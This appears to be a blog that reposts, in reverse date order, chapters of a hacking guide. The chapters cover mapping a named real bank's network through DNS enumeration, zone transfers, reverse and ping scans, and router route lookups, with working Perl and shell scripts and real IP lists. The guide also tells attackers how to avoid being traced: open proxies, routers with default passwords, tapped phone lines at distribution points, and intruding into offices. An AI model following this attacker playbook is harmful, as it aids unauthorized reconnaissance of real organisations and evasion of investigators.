10.38.193.192.IN-ADDR.ARPA domain name pointer pbgproxy1a.pbg.citicorp.com
11.38.193.192.IN-ADDR.ARPA domain name pointer pbgproxy1b.pbg.citicorp.com
12.38.193.192.IN-ADDR.ARPA domain name pointer pbggd1a.pbg.citicorp.com
53.73.193.192.IN-ADDR.ARPA domain name pointer www.citicommerce.com
Most of the non-192.193 block does not resolve to anything. Some of the 192.193 reverse DNS names tells us about the technology used. There are PIX firewalls (nr-pix21.citicorp.com_), possible ISS scanners or IDS systems (iss2.citicorp.com) and proxy servers (cd-proxy.citicorp.com). We also see that there are other Citibank-related domains - citicorp.com, citicorpmortgage.com, citimarkets.com, citiaccess.com and citicommerce.com. It can clearly be seen that most of the IP numbers reverse resolves to the citicorp.com domain. There are sub-domains within the Citicorp domain - ems.citicorp.com, pki.citicorp.com, pbg.citicorp.com and edc.citicorp.com.
How do we get reverse entries for hosts? Well – there is two ways. Just as you can do a Zone Transfer for a domain, you can do a Zone transfer for a netblock. Really. Check this out:
#host -l 74.128.210.in-addr.arpa
74.128.210.in-addr.arpa name server www.inter.co.jp
74.128.210.in-addr.arpa name server ns1.iij.ad.jp
126.74.128.210.in-addr.arpa domain name pointer cabinet-gw.dentsu.co.jp
128.74.128.210.in-addr.arpa domain name pointer telto-net.dentsu.co.jp
etc. etc.
And just as some Zone Transferes are denied on some domains, some ZTs are also denied on netblocks. This does not keep us from getting the actual reverse DNS entry. If we start at getting the reverse DNS entry for 210.128.74.1 and end at 210.128.74.255 (one IP at a time), we still have the complete block. See the script reversescan.pl at the end of the chapter for how to do it nicely.
Summary
To attack a target you must know where the target is. On numerous occasions we have seen that attacking the front door is of no use. Rather attack a branch or subsidiary and attack the main network from there. If a recipe exists for mapping a network from the Internet it would involve some or all of the following steps:
• Find out what "presence" the target has on the Internet. This include looking at web server-, mail exchanger and NS server IP addresses. If a zone transfer can be done it is a bonus. Also look for similar domains (in our case it included checks for all country extensions
- 18 - Breaking into computer networks from the Internet [Roelof Temmingh & SensePost]
(with .com and .co appended) and the domain citicorp.com) It might involve looking at web page content, looking for partners and affiliates. Its mainly mapping known DNS names to IP address space.
• Reverse DNS scanning will tell you if the blocks the target it is contains more equipment that belongs to the target. The reverse names could also give you an indication of the function and type of equipment.
• Finding more IP addresses - this can be done by looking if the target owns the netblock were the mail exchanger/web server/name server is located. It could also include looking at the Registries (APNIC,RIPE and ARIN) for additional netblocks and searches where possible.
• Tracerouting to IP addresses within the block to find the actual location of the endpoints. This helps you to get an idea which blocks bound together and are physically located in the same spot.
• Look at routing tables on core routers. Find out which parts of the netblocks are routed - it makes no sense to attack IP numbers that is not routed over the Internet.
The tools used in this section are actually quite simple. They are the Unix "host" command, "traceroute", and a combination of PERL, AWK, and standard Unix shell scripting. I also used some websites that might be worth visiting:
• APNIC http://www.apnic.net (Asian pacific)
• RIPE http://www.ripe.net/cgi-bin/WHOIS (Euopean)
• ARIN http://www.arin.net/WHOIS/index.html (American)
For completeness sake I put the (really not well written) shell and PERL scripts here. They are all very simple...:
Reversescanner.pl:
(the input for this script is a IP range e.g. 160.124.19.0-160.124.19.100. Output is sent to STDOUT so >& it...)
#!/usr/bin/perl
# Usage: perl reversecanner.pl 160.124.19.0-160.124.19.100
$|=1;
@een=split(/-/,@ARGV[0]);
@ip1=split(/\./,@een[0]);
@ip2=split(/\./,@een[$#een]);
for ($a=@ip1[0]; $a<1+@ip2[0]; $a++) {
for ($b=@ip1[1]; $b<1+@ip2[1]; $b++) {
for ($c=@ip1[2]; $c<1+@ip2[2]; $c++) {
for ($d=@ip1[3]; $d<1+@ip2[3]; $d++) {
print "$a.$b.$c.$d : ";
system "host $a.$b.$c.$d";
}}}}
Tracerouter.pl:
Input is a network or subnet e.g. 160.124.19.10. Output is to STDOUT so >& it. It takes the next IP in the specified input block and trace to it. (the script also provides for the a.b.c.d-w.x.y.z input format as the reversescanner)
#!/usr/bin/perl
# Usage: perl tracerouter.pl 160.124.21.92
@een=split(/-/,@ARGV[0]);
@ip1=split(/\./,@een[0]);
my $string;
$string=@ip1[0].".".@ip1[1].".".@ip1[2].".".(1+@ip1[3]);
system "traceroute -m 50 $string";
Domain_info.sh:
- 19 - Breaking into computer networks from the Internet [Roelof Temmingh & SensePost]
All the domains you want to investigate should be in a file called "domains". Output is appended to file called "all". Change as you wish...:)
#!/usr/local/bin/tcsh
foreach a (`cat domains`)
echo " " >> all
echo ====Domain: $a >> all
echo --Zone transfer: >> all
host -l $a >> all
echo --Webserver: >> all
host www.$a >> all
echo --Nameservers: >> all
host -t ns $a >> all
echo --Mailservers: >> all
host -t mx $a >> all
continue
end
Get_routes.pl:
This perl script logs into core router route1.saix.net and displays to STDOUT the routing tables that matches any given net. Input field is the route search term (makes use of the Net::Telnet module that can be found on CPAN).
#!/usr/local/bin/perl
#Usage: perl get_routes.pl 192.193
use Net::Telnet ();
$t = new Net::Telnet (Timeout => 25,Prompt=>'/\>/');
$t->open("route1.saix.net");
$soeker=@ARGV[0];
$t->waitfor('/>/');
@return=$t->cmd("terminal length 0");
@return=$t->cmd("show ip route | include $soeker");
print "@return\n";
The rest of the results were compiled using these tools in scripts or piping output to other ad hoc scripts, but this is not worth listing here.
Added later: hey! I wrote a script that does a lot of these things for you automatically. It uses a nifty tool called “The Geektools proxy”, written by a very friendly chap named Robb Ballard . Before you try this, ask Robb if you may have the PERL code to the script – he is generally a cool dude, and without it you miss a lot of functionality. Oh BTW, it also uses Lynx for site crawling. Hereby the code (its really lots of glue code – so bear with me):
#!/usr/bin/perl
use Socket;
$domain=@ARGV[0];
$nameserver="196.4.160.2";
sub qprint
{
open(db,">>$domain.report") || die "Couldnt open quickwrite\n";
print db @_;
close (db);
}
open (IN,"@ARGV[1]") || die "Couldnt open brute force DNS names file\n";
while (){
chomp;
@tries[$i]=$_;
$i++;
}
qprint "==Report begin\n";
###############################first get the www record
@results=`host -w www.$domain $nameserver`;
if ($#results<1) {qprint "No WWW records\n";}
else
{
foreach $line (@results) {
if ($line =~ /has address/) {
- 20 - Breaking into computer networks from the Internet [Roelof Temmingh & SensePost]
@quick=split(/has address /,$line);
$www=@quick[1]; chomp $www;
qprint "Webserver have address $www\n";
}
}
}
$counter=0;
##################################### MX records
$counter=0; @mxdb=();
@results=`host -w -t mx $domain $nameserver`;
if ($#results<1) {qprint "No MX records\n";}
else {
foreach $line (@results) {
@quick=split(/by /,$line);
@pre=split(/pri=/,$line);
@pre1=split(/\)/,@pre[1]);
$mx=@quick[1];
chomp $mx;
if (length($mx)>0) {
@resolve=`host -w $mx $nameserver`;
foreach $line2 (@resolve) {
chomp $line2;
if ($line2 =~ /has address/) {
@quicker=split(/has address/,$line2);
}
}
$mxip=@quicker[1];
$mxip=~s/ //g;
chomp $mxip;
@ip[$counter]=$mxip;
qprint "MX record priority @pre1[0] : $mxip\n";
$counter++;
}
}
}
#Check Zonetransfer
@results=`host -w -l $domain`;
if ($#results<2) {
qprint "==Could not do ZT - going to do brute force\n";
#########################################Brute force
foreach $try (@tries){
@response=`host $try.$domain`;
foreach $line (@response){
if ($line =~ /has address/) {
@quick=split(/has address /,$line);
$ip=@quick[1]; chomp $ip;
$name=@quick[0]; chomp $name;
qprint " $name: $ip\n";
@ip[$counter]=$ip;
@name[$counter]=$name;
$counter++;
}
}
}
}
######################################## normal ZT
else {
qprint "==Zone Transfer\n";
foreach $line (@results){
if ($line =~ /has address/) {
@quick=split(/has address /,$line);
$ip=@quick[1]; chomp $ip;
$name=@quick[0]; chomp $name;
qprint " $name: $ip\n";
@ip[$counter]=$ip;
@name[$counter]=$name;
$counter++;
}
}
}
###################################### PART II ###############Now we want to check the class Cs
# we have names in @name and ips in @ip
@sip=sort @ip;
@sname=sort @name;
###################################class Cs & uniq:
- 21 - Breaking into computer networks from the Internet [Roelof Temmingh & SensePost]
qprint "\n";
foreach $line (@sip){
if (!($line =~ /127.0.0.1/)){
@splitter=split(/\./,$line);
$classc=@splitter[0].".".@splitter[1].".".@splitter[2];
$justc{$classc}++;
}
}
$counter=0;
@sclassc=sort (keys (%justc));
foreach $line (@sclassc){
@class[$counter]=$line;
qprint "ClassC with $justc{$line} : $line\n";
$counter++;
}
foreach $line (@sname){
$justnames{$line}=1;
}
$counter=0;
@namesl=sort (keys (%justnames));
foreach $line (@namesl){
@nam[$counter]=$line;
qprint "names: $line\n";
$counter++;
}
######################### do some whois - GEEKTOOLS
foreach $subnet (@class){
qprint "==Geektools whois of block $subnet:\n";
@response=`perl whois.pl $subnet`;
qprint @response;
}
################################reversescans
#first try quick way
foreach $subnet (@class){
@splitter=split(/\./,$subnet);
$classr=@splitter[2].".".@splitter[1].".".@splitter[0].".in-addr.arpa";
@results=`host -l $classr`;
if ($#results<1) {
qprint "==No reverse entry for block $subnet - have go manual\n";
for ($d=1; $d<255; $d++) {
@response=`host $subnet.$d`;
foreach $line (@response){
if ($line =~ /pointer/) {
@quick=split(/domain name pointer /,$line);
@splitter2=split(/\./,@quick[0]);
$reverse=@splitter2[3].".".@splitter2[2].".".@splitter2[1].".".@splitter2[0];
qprint $reverse.":".@quick[1];
}
}
}
}
else
{
qprint "==Reverse lookup for block $subnet permitted\n";
foreach $line (@results) {
if ($line =~ /pointer/) {
@quick=split(/domain name pointer /,$line);
@splitter2=split(/\./,@quick[0]);
$reverse=@splitter2[3].".".@splitter2[2].".".@splitter2[1].".".@splitter2[0];
qprint $reverse.":".@quick[1];
}
}
}
}
################################### ping sweeps
foreach $subnet (@class){
qprint "\n==Nmap pingsweep of subnet $subnet\n\n";
@results=`nmap -sP -PI $subnet.1-255`;
qprint @results;
}
#system "rm *.dat";
#############################search the webpage
qprint "\n==Doing WWW harvest\n";
@dummy=`lynx -accept_all_cookies -crawl -traversal http://www.$domain`;
- 22 - Breaking into computer networks from the Internet [Roelof Temmingh & SensePost]
qprint "http://www.$domain\n";
@response = `cat ./reject.dat`;
foreach $line (@response){
chomp $line;
if ($line =~ /http/){
@splitter=split(/\//,$line);
$uniql{@splitter[2]}++;
}
if ($line =~ /mailto/){
@splitter=split(/:/,$line);
$uniqm{@splitter[1]}++;
}
}
foreach $links (keys (%uniql)){
qprint "External link $uniql{$links} : $links\n";
}
foreach $links (keys (%uniqm)){
qprint "External email $uniqm{$links} : $links\n";
}
The file “common” looks like this (its used for guessing common DNS names within a domain(its not really in 3 columns, I just save some trees. )
www
ftp
ns
mail
3com
aix
apache
back
bastion
bind
border
bsd
business
chains
cisco
content
corporate
cvp
debian
dns
domino
dominoserver
download
e-bus
e-business
e-mail
e-safe
email
esafe
external
extranet
firebox
firewall
freebsd
front
ftp
fw
fw-
fwe
fwi
gate
gatekeeper
gateway
gauntlet
group
help
hop
hp
hp-ux
hpjet
hpux
http
https
hub
ibm
ids
info
inside
internal
internet
intranet
ipchains
ipfw
irix
jet
list
lotus
lotusdomino
lotusnotes
lotusserver
mail
mailfeed
mailgate
mailgateway
mailgroup
mailhost
maillist
mailmarshall
mailpop
mailrelay
mandrake
mimesweeper
ms
msproxy
mx
nameserver
news
newsdesk
newsfeed
newsgroup
newsroom
newsserver
nntp
notes
noteserver
notesserver
ns
nt
openbsd
outside
pix
pop
pop3
pophost
popmail
popserver
print
printer
printspool
private
proxy
proxyserver
public
qpop
raptor
read
redcreek
redhat
route
router
router
scanner
screen
screening
secure
seek
slackware
smail
smap
smtp
smtpgateway
smtpgw
sniffer
snort
solaris
sonic
spool
squid
sun
sunos
suse
switch
transfer
trend
trendmicro
unseen
vlan
wall
web
webmail
webserver
webswitch
win2000
- 23 - Breaking into computer networks from the Internet [Roelof Temmingh & SensePost]
win2k
win31
win95
win98
winnt
write
ww
www
xfer

Friday, September 24, 2010

Routed or not?

Routed or not?
Given the sheer size of the Class C + netblocks, it would take forever to do a reverse scan or traceroute to all the blocks. The European and some of the American blocks seems very straight forward - most of them are only parts of a subnet. Why not find out which networks in the larger netblocks are routed on the Internet? How do we do this? Only the core routers on the Internet know which networks are routed. We can get access to these routers - very easily, and totally legally. Such a router is route1.saix.net. We simply telnet to this giant of a Cisco router, do a show ip route | include [start of large netblock] and capture the output. This core router contains over 40 000 routes. Having done this for the larger netblocks, we find the following:
199.228.157.0-199.228.159.0 None
198.73.228.0-198.73.239.0 None
194.41.64.0-194.41.95.255 None
193.32.128.0-193.32.159.255
193.32.161.0/24
193.32.254.0/24
193.32.208.0/23
193.32.192.0/20
193.32.176.0/20
159.17.0.0-159.17.255.255 None
161.75.0.0-161.75.255.255 None
163.35.0.0-163.39.255.255 None
169.160.0.0-169.195.0.0 None 192.193.0.0-192.193.255.255
192.193.183.0/24
192.193.192.0/24
192.193.73.0/24
192.193.182.0/24
192.193.208.0/24
192.193.193.0/24
192.193.74.0/24
192.193.194.0/24
192.193.211.0/24
192.193.75.0/24
192.193.180.0/24
192.193.210.0/24
192.193.195.0/24
192.193.196.0/24
192.193.77.0/24
192.193.201.0/24
192.193.172.0/24
192.193.188.0/24
192.193.187.0/24
192.193.186.0/24
192.193.70.0/24
192.193.184.0/24
192.193.71.0/24

Thursday, September 23, 2010

Wednesday, September 22, 2010

Mapping your target
Once you have your platform in good working order, you will need to know as much as possible about your target. In this chapter we look at "passive" ways to find information about the target. The target might be a company, a organization or a government. Where do you start your attack? This first step is gaining as much as possible information about the target - without them knowing that you are focussing your sniper scope on them. All these methods involve tools, web sites and programs that are used by the normal law abiding netizen.
Websites, MX records…DNS!
For the purpose of this document, let us assume that we want to attack CitiBank. (no hard feelings CitiBank). We begin by looking at the very obvious - www.citibank.com. You would be amazed by the amount one can learn from an official webpage. From the website we learn that Citibank has presence in many countries. Checking that Citibank have offices in Belgium we check the address of www.citibank.be and the Malaysian office www.citibank.com.my. The IP addresses are different - which means that each country' Citibank website is hosted inside the specific country. The website lists all the countries that Citibank operate in. We take the HTML source code, and try to find the websites in each country. Having a look around leaves us with 8 distinct countries. Maybe XXX.citybank.XXX is registered in the other countries? Doing a simple "host www.citibank.XXX" (scripted with all country codes and with .com and .co sub extensions of course) reveals that following sites:
www.citibank.as
www.citibank.at
www.citibank.be
www.citibank.ca
www.citibank.cc
www.citibank.ch
www.citibank.cl
www.citibank.co.at
www.citibank.co.cc
www.citibank.co.cx
www.citibank.co.dk
www.citibank.co.id
www.citibank.co.in
www.citibank.co.io
www.citibank.co.jp
www.citibank.co.ke
www.citibank.co.kr
www.citibank.co.nz
www.citibank.co.pl
www.citibank.co.pt
www.citibank.co.th
www.citibank.co.tv
www.citibank.co.tw
www.citibank.co.uk
www.citibank.co.vi
www.citibank.co.ws
www.citibank.com
www.citibank.com.ar
www.citibank.com.au
www.citibank.com.bh
www.citibank.com.bi
www.citibank.com.br
www.citibank.com.bs
www.citibank.com.co
www.citibank.com.ec
www.citibank.com.gt
www.citibank.com.gu
www.citibank.com.hk
www.citibank.com.ky
www.citibank.com.mo
www.citibank.com.mx
www.citibank.com.my
www.citibank.com.ph
www.citibank.com.pk
www.citibank.com.pl
www.citibank.com.pr
www.citibank.com.py
www.citibank.com.sg
www.citibank.com.tj
www.citibank.com.tr
www.citibank.com.tw
www.citibank.com.ws
www.citibank.cx
www.citibank.cz
www.citibank.de
www.citibank.es
www.citibank.fr
www.citibank.gr
www.citibank.hu
www.citibank.ie
www.citibank.io
www.citibank.it
www.citibank.lu
www.citibank.mc
www.citibank.mw
www.citibank.nl
www.citibank.nu
www.citibank.pl
www.citibank.ro
www.citibank.ru
www.citibank.tv
www.citibank.ws
www.citicorp.com
So much for websites - it is clear that many of these domains are used by cybersquatters - www.citibank.nu for example. We'll filter those. Also, most of above mentioned sites are simply aliases for www.citibank.com. These days most websites are hosted offsite. Mail exchangers are most of the time more closely coupled with the real network. Looking at the MX records for the domains (host -t mx citibank.XX) gives one a better idea of the IP numbers involved. Trying to do a zone transfer would also help a lot (host -l citibank.XXX). After some scripting it becomes clear which domains belongs to the real Citibank - all of these domain's MX records are pointing to the MX record for www.citibank.com, and their websites point to the official .com site. The theory that the MX records for the different branches are closer to the "satellite" network does not apply for Citibank it seems: (these are all MX records).
citibank.at is a nickname for www.citibank.com
citibank.ca is a nickname for www.citibank.com
citibank.ch is a nickname for www.citibank.com
citibank.cl is a nickname for www.citibank.com
citibank.co.at is a nickname for www.citibank.com
citibank.co.kr is a nickname for www.citibank.com
citibank.co.nz is a nickname for www.citibank.com
citibank.co.vi is a nickname for www.citibank.com
citibank.com.br is a nickname for www.citibank.com
citibank.com.bs is a nickname for www.citibank.com
citibank.com.ec is a nickname for www.citibank.com
citibank.com.gt is a nickname for www.citibank.com
citibank.com.gu is a nickname for www.citibank.com
citibank.com.ky is a nickname for www.citibank.com
citibank.com.mo is a nickname for www.citibank.com
citibank.com.my is a nickname for www.citibank.com
citibank.com.my is a nickname for www.citibank.com
citibank.com.pk is a nickname for www.citibank.com
citibank.com.pl is a nickname for www.citibank.com
citibank.com.pr is a nickname for www.citibank.com
citibank.com.py is a nickname for www.citibank.com
citibank.com.sg is a nickname for www.citibank.com
citibank.com.tr is a nickname for www.citibank.com
citibank.cz is a nickname for www.citibank.com
citibank.gr is a nickname for www.citibank.com
citibank.hu is a nickname for www.citibank.com
citibank.ie is a nickname for www.citibank.com
citibank.it is a nickname for www.citibank.com
citibank.lu is a nickname for www.citibank.com
citibank.mc is a nickname for www.citibank.com
citibank.mw is a nickname for www.citibank.com
citibank.nl is a nickname for www.citibank.com
citibank.pl is a nickname for www.citibank.com
citibank.ro is a nickname for www.citibank.com
What about the rest of the countries - are all of them cybersquatter related, or have our friends at Citibank slipped up somewhere? Let's remove above-mentioned countries from our list, and have a look those than remain. Close inspection of all the rest of the domains shows that cyber squatters (in all sizes and forms) have taken the following domains:
citibank.as
citibank.cc
citibank.co.cx
citibank.co.dk
citibank.co.ke
citibank.co.pl
citibank.co.pt
citibank.co.tv
citibank.co.ws
citibank.com.bh
citibank.com.bi
citibank.com.tj
citibank.com.ws
citibank.cx
citibank.io
citibank.nu
citibank.tv
How about the rest? We find the following hosts and services belonging to Citibank (most of this is done with scripting, manual labor, and cross checking):
www.citibank.be has address 195.75.113.39
citibank.be name server ns.citicorp.com
citibank.be name server ns2.citicorp.com
citibank.co.id mail is handled (pri=20) by egate.citicorp.com
citibank.co.in has address 203.197.24.163
www.citibank.co.jp has address 210.128.74.161
citibank.co.jp name server NS2.citidirect.citibank.co.jp
citibank.co.th mail is handled (pri=20) by egate.citibank.com
citibank.com.ar mail is handled (pri=20) by mailer2.prima.com.ar
www.citibank.com.au has address 203.35.150.146
citibank.com.au name server ns.citibank.com
citibank.com.au name server ns2.citibank.com
www.citibank.com.co has address 63.95.145.165
citibank.com.co name server CEDAR1.CITIBANK.COM
citibank.com.co name server CEDAR2.CITIBANK.COM
webp.citibank.com.sg has address 192.193.70.5
citibank.com.mx mail is handled (pri=10) by green.citibank.com.mx
citibank.com.ph mail is handled (pri=20) by egate.citicorp.com
citibank.com.tw name server dns.citibank.com.tw
dns.citibank.com.tw has address 203.66.185.3
www.citibank.com.tw has address 203.66.185.1
citibank.com.tw name server home1.citidirect.citibank.com.tw
citibank.ru has address 194.135.176.81
www.citibank.de has address 195.75.113.49
www.citibank.de has address 195.145.1.166
www.citibank.com has address 192.193.195.132
and the obvious official .com sites and MX records. But the real prize is German Citibank. In the checking scripts we also check if a DNS zone transfer was possible. In all of the domains tested a ZT was denied. All but Germany:
ehbtest.Citibank.DE has address 195.75.113.25
ehbweb.Citibank.DE has address 195.75.113.49
inter.Citibank.DE has address 193.96.156.103
localhost.Citibank.DE has address 127.0.0.1
www.Citibank.DE has address 195.145.1.166
www.Citibank.DE has address 195.75.113.49
ehbdns.Citibank.DE has address 195.145.1.166
public.Citibank.DE has address 193.96.156.104
From all of the above we can now begin to compile a list of IP numbers belonging to Citibank all over the world. We take the list, sort it, and remove any duplicates if there are any. The end result is:
148.242.127.200
192.193.195.132
192.193.195.194
192.193.195.195
192.193.195.210
192.193.196.210
192.193.70.5
192.193.77.166
193.96.156.103
193.96.156.104
194.135.176.81
195.145.1.166
195.75.113.10
195.75.113.11
195.75.113.25
195.75.113.39
195.75.113.49
200.42.0.133
203.197.24.163
203.35.150.146
203.66.185.1
203.66.185.20
203.66.185.3
210.128.74.161
63.95.145.165
Once we have these IP numbers we can go much further. We could see the netblocks these IP numbers belongs to - this might give us more IP numbers. Later these IP numbers could be fed to port scanners or the likes. Another technique is to do "reverse resolve scanning". Here one reverse resolves the subnet to see if there are other interesting DNS entries.

Tuesday, September 21, 2010

Using the 'net

Using the 'net
All of this seems like a lot of trouble. Is there not an easier way of becoming anonymous on the Internet? Indeed there are many ways to skin a cat. It really depends on what type of connectivity you need. Lets assume all you want to do is sending anonymous email (I look at email specifically because many of the techniques involved can be used for other services such as HTTP, FTP etc.). How difficult could it be?
For many individuals it seems that registering a fake Hotmail, Yahoo etc. account and popping a flame email to a unsuspected recipient is the way to go. Doing this could land you in a lot of trouble. Lets look at a header of email that originating from Yahoo:
Return-Path:
Received: from web111.yahoomail.com (web111.yahoomail.com [205.180.60.81])
by wips.sensepost.com (8.9.3/1.0.0) with SMTP id MAA04124
for ; Sat, 15 Jul 2000 12:35:55 +0200 (SAST)
(envelope-from r_h@yahoo.com)
Received: (qmail 636 invoked by uid 60001); 15 Jul 2000 10:37:15 -0000
Message-ID: <20000715103715.635.qmail@web111.yahoomail.com>
Received: from [196.34.250.7] by web111.yahoomail.com; Sat,
15 Jul 2000 03:37:15 PDT
Date: Sat, 15 Jul 2000 03:37:15 -0700 (PDT)
From: RH
Subject: Hello
To: roelof@sensepost.com
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
The mail header tells us that our mailserver (wips.sensepost.com) received email via SMTP from the web-enabled mailserver (web111.yahoomail.com). It also tells us that the web-enabled mailserver received the mail via HTTP (the web) from the IP number 196.34.250.7. It is thus possible to trace the email to the originator. Given the fact that we have the time the webserver received the mail (over the web) and the source IP, we can use techniques explained earlier to find the person who was sending the email. Most free web enabled email services includes the client source IP (list of free email providers at www.fepg.net).
How to overcome this? There are some people that think that one should be allowed to surf the Internet totally anonymous. An example of these people is Anonymizer.com (www.anonymizer.com). Anonymizer.com allows you to enter a URL into a text box. It then proxy all connections to the specified destination. Anonymizer claims that they only keep hashes (one way encryption, cannot be reversed) of logs. According to documentation on the Anonymizer website there is no way that even they can determine your source IP. Surfing to Hotmail via Anonymizer thus change the IP address in the mail header.
But beware. Many ISPs make use of technology called transparent proxy servers. These servers is normally located between the ISP's clients and their main feed to the Internet. These servers pick up on HTTP requests, change the source IP to their own IP and does the reverse upon receiving the return packet. All of this is totally transparent to the end user - therefor the name. And the servers keep logs. Typically the servers cannot keep logs forever, but the ISP could be backing up logs for analyses. Would I be tasked to find a person that sent mail via Hotmail and Anonymizer I would ask for the transparent proxy logs for the time the user was connected to the web-enabled mailserver, and search for connections to Anonymizer. With any luck it would be the only connections to the Anonymizer in that time frame. Although I won't be able to prove it, I would find the source IP involved.
Another way of tackling the problem is anonymous remailers. These mailservers will change your source IP, your field and might relay the mail with a random delay. In many cases these remailers are daisy chained together in a random pattern. The problem with remailers is that many of them do keep logs of incoming connections. Choosing the initial remailer can be become an art. Remailers usually have to provide logfiles at the request of the local government. The country of origin of the remailer is thus very important as cyberlaw differs from country to country. A good summary of remailers (complete with listings of remailers can be found at www.cs.berkeley.edu/~raph/remailer-list.html).
Yet another way is to make use of servers that provide free Unix shell accounts. You can telnet directly to these servers (some provide SSH (encrypted shells) access as well). Most of the free shell providers also provide email facilities, but limit shell capabilities -e.g. you can't telnet from the free shell server to another server. In 99% of the cases connections are logged, and logs are kept in backup. A website that list most free shell providers are to be found at www.leftfoot.com/freeshells.html. Some freeshell servers provider more shell functionality than others - consult the list for detailed descriptions.
How do we combine all of the above to send email anonymously? Consider this - I SSH to a freeshell server. I therefor bypass the transparent proxies, and my communication to the server is encrypted and thus invisible to people that might be sniffing my network (locally or anywhere). I use lynx (a text based web browser) to connect to an Anonymizer service. From the Anonymizer I connect to a free email service. I might also consider a remailer located somewhere in Finland. 100% safe?
Even when using all of above measures I cannot be 100% sure that I cannot be traced. In most cases logs are kept of every move you make. Daisy chaining and hopping between sites and servers does make it hard to be traced, but not impossible.
Other techniques
1. The cybercafe is your friend! Although cybercafes are stepping up their security measures it is still relatively easy to walk into a cybercafe without any form of identification. Sit down, and surf to hotmail.com - no one would notice as everyone else is doing exactly the same thing. Compose your email and walk out. Do not become a regular! Never visit the scene of the crime again. When indulging in other activities such as telnetting to servers or doing a full blast hack cybercafes should be avoided as your activity can raise suspicion with the administrators.
2. Search for proxy like services. Here I am referring to things like WinGate servers. WinGate server runs on a Microsoft platform and is used as a proxy server for a small network (read SOHO environment with a dial-up link). In many cases these servers are not configured correctly and will allow anyone to proxy/relay via them. These servers do not keep any logs by default. Hoping via WinGate servers is so popular that lists of active WinGates are published (www.cyberarmy.com/lists/wingate/).
3. With some experience you can hop via open routers. Finding open routers are very easy - many routers on the Internet is configured with default passwords (list of default passwords to be found at www.nerdnet.com/security/index.php )Doing a host scan with port 23 (later more on this) in a "router subnet" would quickly reveal valid candidates. In most of the cases these routers are not configured to log incoming connections, and provides excellent stepping-stones to freeshell servers. You might also consider daisy chaining them together for maximum protection.
4. Change the communication medium. Connect to a X.25 pad via a XXX service. Find the DTE of a dial-out X.25 PAD. Dial back to your local service provider. Your telephone call now originates from e.g. Sweden. Confused? See the section on X.25 hacking later in the document. The exact same principle can be applied using open routers (see point 3) Some open routers listens on high ports (typically 2001,3001,X001) and drops you directly into the AT command set of a dial-out modems. Get creative.
The best way to stay anonymous and untraceable on the Internet would be a creative mix of all of the above-mentioned techniques. There is no easy way to be 100% sure all of the time that you are not traceable. The nature of the "hack" should determine how many "stealth" techniques should be used. Doing a simple portscan to a university in Mexico should not dictate that you use 15 hops and 5 different mediums.

Monday, September 20, 2010

Setting the stage

Setting the stage.
Before you can start to hack systems you need a platform to work from. This platform must be stable and not easily traceable. How does one become anonymous on the Internet? It's is not that easy. Let us look at the different options (BTW if this chapter does not seem relevant you might want to skip it):
Permanent connection (leased line, cable, fiber)
The problem with these connections is that it needs to be installed by your local Telecom at a premise where you are physically located. Most ISPs wants you to sign a contract when you install a permanent line, and ask for identification papers. So, unless you can produce false identification papers, company papers etc., and have access to a building that cannot be directly tied to your name, this is not a good idea.
Dial-up
Many ISPs provides "free dial-up" accounts. The problem is that logs are kept either at the ISP, or at Telecom of calls that were made. At the ISP side this is normally done using RADIUS or TACACS. The RADIUS server will record the time that you dialed in, the connection speed, the reason for disconnecting, the time that you disconnected and the userID that you used. Armed with his information the Telecom can usually provide the source number of the call (YOUR number). For the Telecom to pinpoint the source of the call they need the destination number (the number you called), the time the call was placed and the duration of the call. In many cases, the Telecom need not be involved at all, as the ISP records the source number themselves via Caller Line Identification (CLI).
Let us assume that we find the DNS name "c1-pta-25.dial-up.net" in our logs and we want to trace the attacker. We also assume that the ISP does not support caller line identification, and the attacker was using a compromised account. We contact the ISP to find out what the destination number would be with a DNS name like that. The ISP provides the number - e.g. +27 12 664 5555. It's a hunting line - meaning that there is one number with many phone lines connected to it. We also tell the ISP the time and date the attack took place (from our logs files). Let us assume the attack took place 2000/8/2 at 17h17. The RADIUS server tells us what userID was used, as well as the time it was connected: (these are the typical logs)
6774138 2000-08-02 17:05:00.0 2000-08-02 17:25:00.0 demo1 icon.co.za 168.209.4.61 2 Async 196.34.158.25 52000 1248 00010 B6B 87369 617378 null 11
These logs tell us that user "demo1" was connected from 17h05 to 17h25 on the date the attack took place. It was dialing in at a speed of 52kbps, it send 87369 bytes, and received 617378 bytes. We now have the start time of the call, the destination number and the duration of the call (20 minutes). Telecom will supply us with source number as well as account details - e.g. physical location. As you can see, phoning from your house to an ISP (even using a compromised or free ID) is not making any sense.
Mobile (GSM) dial-up
Maybe using a GSM mobile phone will help? What can the GSM mobile service providers extract from their logs? What is logged? A lot it seems. GSM switches send raw logging information to systems that crunch the data into what is called Call Data Records (CDRs). More systems crush CDRs in SCDRs (Simple CDR). The SCDRs is sent to the various providers for billing. How does a CDR look like? Hereby an example of a broken down CDR:
99042300000123000004018927000000005216003
27834486997
9903220753571830
834544204
000001MOBILE000
0000001000000000000000000
AIRTIME1:24
20377
UON0000T11L
MTL420121414652470
This tells us that date and time the call was placed (1st string), the source number (+27 83 448 6997), the destination number (834544204), that it was made from a mobile phone, the duration of the call (1 minute 24 seconds), the cellID (20377), the three letter code for the service provider (MTL = Mtel in this case), and the unique mobile device number (IMEI number) 420121414652470. Another database can quickly identify the location (long/lat) of the cell. This database typically looks like this:
20377
25731
-26.043059
28.011393
120
32
103
"Didata Oval uCell","Sandton"
From this database we can see that the exact longitude and latitude of the cell (in this case in the middle of Sandton, Johannesburg) and the description of the cell. The call was thus placed from the Dimension Data Oval in Sandton. Other databases provide the account information for the specific source number. It is important to note that the IMEI number is also logged - using your phone to phone your mother, switching SIM cards, moving to a different location and hacking the NSA is not a good idea using the same device is not bright - the IMEI number stays the same, and links you to all other calls that you have made. Building a profile is very easy and you'll be nailed in no time.
Using time advances and additional tracking cells, it is theoretically possible to track you up to a resolution of 100 meters, but as the switches only keep these logs for 24 hours, it is usually done in real time with other tracking devices - and only in extreme situations. Bottom line - even if you use a GSM mobile phone as modem device, the GSM service providers knows a lot more about you than you might suspect.
How to
So how do we use dial in accounts? It seems that having a compromised dial in account does not help at all, but common sense goes a long way. Suppose you used a landline, and they track you down to someone that does not even owns a computer? Or to the PABX of a business? Or to a payphone? Keeping all of above in mind - hereby a list of notes: (all kinda common sense)
Landlines:
1. Tag your notebook computer, modem and croc-clips along to a DP (distribution point). These are found all around - it is not discussed in detail here as it differs from country to country. Choose a random line and phone.
2. In many cases one can walk into a large corporation with a notebook and a suit with no questions asked. Find any empty office, sit down, plug in and dial.
3. etc...use your imagination
